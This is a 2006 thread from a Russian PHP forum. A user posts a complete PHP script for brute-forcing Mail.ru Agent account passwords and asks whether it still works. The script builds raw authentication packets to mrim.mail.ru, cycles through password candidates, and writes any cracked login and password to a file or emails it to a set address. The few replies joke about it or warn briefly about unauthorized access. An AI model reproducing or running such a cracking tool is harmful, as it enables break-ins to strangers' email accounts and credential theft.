Форум: Форум PHPФорум ApacheФорум Регулярные ВыраженияФорум MySQLHTML+CSS+JavaScriptФорум FlashРазное
Новые темы: 0000000
MySQL 5. В подлиннике. Авторы: Кузнецов М.В., Симдянов И.В. MySQL на примерах. Авторы: Кузнецов М.В., Симдянов И.В. Программирование. Ступени успешной карьеры. Авторы: Кузнецов М.В., Симдянов И.В. C++. Мастер-класс в задачах и примерах. Авторы: Кузнецов М.В., Симдянов И.В. PHP 5/6. В подлиннике. Авторы: Кузнецов М.В., Симдянов И.В.
ВСЕ НАШИ КНИГИ
Консультационный центр SoftTime

Форум PHP

Выбрать другой форум

 

Здравствуйте, Посетитель!

вид форума:
Линейный форум Структурный форум

тема: Актуален ли этот скрипт (взлом почтовых ящиков)?
 
 автор: 123php   (27.10.2006 в 15:34)   письмо автору
 
 

define( '_AST_MRA_BASE_HOST',         'mrim.mail.ru' );
define( '_AST_MRA_BASE_PORT',         2042 );
define( '_AST_MRA_INVALID_LOGIN',     'Invalid login' );
/********************************* НЕ РЕДАКТИРОВАТЬ!!! НЕ РЕДАКТИРОВАТЬ!!! НЕ РЕДАКТИРОВАТЬ!!! ********************************/



/**************** НАСТРОЙКИ ****************/
define( '_AST_TIMEOUT',             3 );                     // Сколько времени ждать соединение
define( '_AST_PASSW_FILE',             './test.txt' );         // Файл с паролями

define( '_AST_REPORT_TO_FILE', 1 );                            // Создать отчет в файл
    define( '_AST_REPORT_FILE_PATH', './report.txt' );         // Имя файла в который будет создан отчет
    
define( '_AST_REPORT_TO_MAIL', 2 );                            // Отправить отчет на e-mail
    define( '_AST_REPORT_MAIL', 'логин@mail.ru' );            // E-mail на который будет отправлен отчет

define( '_AST_REPORT_TYPE', _AST_REPORT_TO_FILE );            // ! Установка типа отчета ! 
    

define('_AST_ALPHABET',     'ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghi gklmnopqrstuvwxwz0123456789'); //Симоволы из которых перебирать
define('_AST_PASSW_PREFIX', 'some_prefix');                 // Константное начало пароля (на тот случай, если Вы знаете начало пароля)
define('_AST_PASSW_END',     'some_end');                     // Константное завершение пароля (на тот случай, если Вы знаете конец пароля)
define('_AST_MIN_LENGHT',     5);                             // Минимальная длина пароля
define('_AST_MAX_LENGHT',     6);                             // Максимальная длина пароля    

 


class xPow_MRA_Brute {
    
    var $_AST_MRA_HEAD_AUTH     = "\xEF\xBE\xAD\xDE\x07\x00\x01\x00\x06\x00\x00\x00\x03\x10\x00\x00"; // 16
    var $_AST_MRA_MAIN_HOST        = '';
    var $_AST_MRA_MAIN_PORT        = 0;
    var $_AST_AUTH_QUERY        = '';
    var $_AST_AUTH_QUERY_LENGTH    = 0;
    
    /**
     * Конструктор, что здесь еще говорить?
     */
    function xPow_MRA_Brute( $mra_login ) {
        
        $this->__set_php_settings();
        
        $this->__init_connect();
        
        for ($i = _AST_MIN_LENGHT - 1; $i < _AST_MAX_LENGHT; $i++) {
            $this->__AST_r_brute($mra_login, $password, $i, _AST_ALPHABET, strlen(_AST_ALPHABET), _AST_PASSW_PREFIX, _AST_PASSW_END);
        }
        
        echo 'ПАРОЛЬ НЕ УДАЛОСЬ НАЙТИ';
    }
    
    function __set_php_settings() {
        if( !ini_get('safe_mode') ) {
            @set_time_limit(0);
            @ignore_user_abort(true);
        }
    }
    
    /**
    * Рекурсивная ф-ция перебора
    *
    */
    function __AST_r_brute($mra_login, $password, $level, $alphabet, $strlen, $prefix = '', $end = '') {
        for ($i = 0; $i < $strlen; $i++) {
            if ($level) {
                $this->__AST_r_brute($mra_login, $password . $alphabet[$i], $level - 1, $alphabet, $strlen, $prefix, $end);
                
            } else {    
                $mra_passw = $prefix . ( $password . $alphabet[$i] ) . $end;
                if( $this->__authorization( $mra_login, $mra_passw ) ) {
                    $this->__init_connect();
                    if ($this->__authorization( $mra_login, $mra_passw )) {
                        $this->__report( $mra_login, $mra_passw );
                        return;
                    }
                }
            }
        }
    }
    
    /**
     * Ф-ция получает на вход количество "нулевых" символов, которые будут добавлены к главному потоку запроса    
     * @access private
     * @param $length     
     *
     */    
    function __add_null( $length ) {
        for ( $i = 0; $i < $length; $i++ ) {
            $this->_AST_AUTH_QUERY[ $this->_AST_AUTH_QUERY_LENGTH + $i ] = "\x00";
        }    
        $this->_AST_AUTH_QUERY_LENGTH += $length;    
    }
    
    /**
     * Ф-ция получает на вход строку $string, длиной $length, и добавляет ее к главному потоку запроса    
     * @access private
     * @param $string
     * @param $length
     * 
     */    
    function __add_string( $string, $length ) {
        for ( $i = 0; $i < $length; $i++ ) {
            $this->_AST_AUTH_QUERY[ $this->_AST_AUTH_QUERY_LENGTH + $i ] = $string[$i];
        }    
        $this->_AST_AUTH_QUERY_LENGTH += $length;
    }
    
    /**
     * Ф-ция соединяется с базовым сервером и получает адресс и порт главного сервера    
     * @access private
     *
     */
    function __init_connect() {
        $fs = fsockopen( _AST_MRA_BASE_HOST, _AST_MRA_BASE_PORT, $errno, $errstr, _AST_TIMEOUT ) or die( "[$errno] : $errstr" );
            while ( !feof($fs) ) {
               $r_str .= fgets($fs, 64);
               }
        fclose( $fs );
        list( $this->_AST_MRA_MAIN_HOST, $this->_AST_MRA_MAIN_PORT ) = explode( ':', $r_str );
    }

    /**
     * Ф-ция проверяющая валидность пары: логин / пароль    
     * @access private
     * @param $mra_login
     * @param $mra_passw
     * 
     */    
    function __authorization( $mra_login, $mra_passw ) {
        
        $mra_login_length = strlen($mra_login);
        $mra_passw_length = strlen($mra_passw);
        
        $fs = fsockopen( $this->_AST_MRA_MAIN_HOST, (int)$this->_AST_MRA_MAIN_PORT, $errno, $errstr, _AST_TIMEOUT ) or die( "[$errno] : $errstr" );
                
        # Инициализация 
        $this->_AST_AUTH_QUERY = null;
        $this->_AST_AUTH_QUERY_LENGTH = 0;

        $this->__add_string( $this->_AST_MRA_HEAD_AUTH, 17 );
        $this->_AST_AUTH_QUERY[ 16 ] = chr( 8 + $mra_login_length + $mra_passw_length );
        
        $this->__add_null( 28 );
        
        # Добавляем в главный поток логин
        $this->_AST_AUTH_QUERY[ $this->_AST_AUTH_QUERY_LENGTH - 1 ] = chr( $mra_login_length );
        
        $this->__add_null( 3 );
        $this->__add_string( $mra_login, $mra_login_length );
        
        # Добавляем в главный поток пароль
        $this->_AST_AUTH_QUERY[ $this->_AST_AUTH_QUERY_LENGTH++ ] = chr( $mra_passw_length );

        $this->__add_null( 3 );
        $this->__add_string( $mra_passw, $mra_passw_length );
        
        # Отправляем запрос
        fwrite( $fs, implode('', $this->_AST_AUTH_QUERY), $this->_AST_AUTH_QUERY_LENGTH );
        
        # Принимаем ответ
        fgets($fs, 84);
        fgets($fs, 44);
        $r_str = fgets($fs, 14);
                
        fclose( $fs );
        return ( $r_str == _AST_MRA_INVALID_LOGIN ) ? 0 : 1;

    } //  __authorization();
    
    
    function __info() {
        echo '                            php . MAIL.ru     
            ';
    }    
    
    /**
     * Ф-ция выбирает, какой из методов репортинга использовать ( можно легко увеливать кол-во, напр.: HTTP ( GET / POST), FTP, SMS :-D, /ect )
     * @access private
     * @param $mra_login
     * @param $mra_passw
     * 
     */    
    function __report( $mra_login, $mra_passw ) {
        switch ( _AST_REPORT_TYPE )    {
            case  _AST_REPORT_TO_MAIL:
                $this->__report_to_mail( $mra_login, $mra_passw );
                break;

            case  _AST_REPORT_TO_FILE:
                $this->__report_to_file( $mra_login, $mra_passw );
                break;
                
            default:
                echo '(c)oded by xPow from ANTISHARE team [ ' . date('F j, Y, g:i a') . ' ] LOGIN: ' . $mra_login . ' - PASSWORD: ' . $mra_passw . "\r\n";
        }
    }
    
    /**
     * Ф-ция записывает найденый результат в файл, указаный дефайном: _AST_REPORT_FILE_PATH    
     * @access private
     * @param $mra_login
     * @param $mra_passw
     * 
     */    
    function __report_to_file( $mra_login, $mra_passw ) {
        $fp = fopen( _AST_REPORT_FILE_PATH, 'a' ) or die( 'Can\'t open file: <b>' . _AST_REPORT_FILE_PATH . '</b>' );
            $message = '(c)oded by xPow from ANTISHARE team [ ' . date('F j, Y, g:i a') . ' ] LOGIN: ' . $mra_login . ' - PASSWORD: ' . $mra_passw . "\r\n";
        fwrite( $fp, $message );
        fclose( $fp );
    }
    
    /**
     * Ф-ция отсылает найденый результат на e-mail, указаный дефайном: _AST_REPORT_TO_MAIL    
     * @access private
     * @param $mra_login
     * @param $mra_passw
     * 
     */    
    function __report_to_mail( $mra_login, $mra_passw ) {
        $message = '(c)oded by xPow from ANTISHARE team [ ' . date('F j, Y, g:i a') . ' ] LOGIN: ' . $mra_login . ' - PASSWORD: ' . $mra_passw . "\r\n";
        mail( _AST_REPORT_TO_MAIL, 'Password is found', $message/*, "From: $mra_login\r\nReply-To: webmaster@localhost.net}\r\n" */);
    }
    
    
} // class xPow_MRA_Brute 



 new xPow_MRA_Brute( 'логин@mail.ru' );
 
?>

   
 
 автор: Trianon   (27.10.2006 в 16:15)   письмо автору
 
   для: 123php   (27.10.2006 в 15:34)
 

для того, чтоы получить по мозгам за попытку несанкционированного доступа - безусловно. :)

   
 
 автор: GoodBoy   (27.10.2006 в 16:44)   письмо автору
 
   для: Trianon   (27.10.2006 в 16:15)
 

И что это за хренатень?

   
 
 автор: 123php   (27.10.2006 в 16:46)   письмо автору
 
   для: GoodBoy   (27.10.2006 в 16:44)
 

типа взлом ящиков на мэйле.

   
 
 автор: Yakor   (27.10.2006 в 16:55)   письмо автору
 
   для: GoodBoy   (27.10.2006 в 16:44)
 

"подбор пароля в случае его утраты" :)

   
 
 автор: Lstasss   (28.10.2006 в 02:14)   письмо автору
 
   для: Yakor   (27.10.2006 в 16:55)
 

а для мирных целей его можно использовать?

   
Rambler's Top100
вверх

Rambler's Top100 Яндекс.Метрика Яндекс цитирования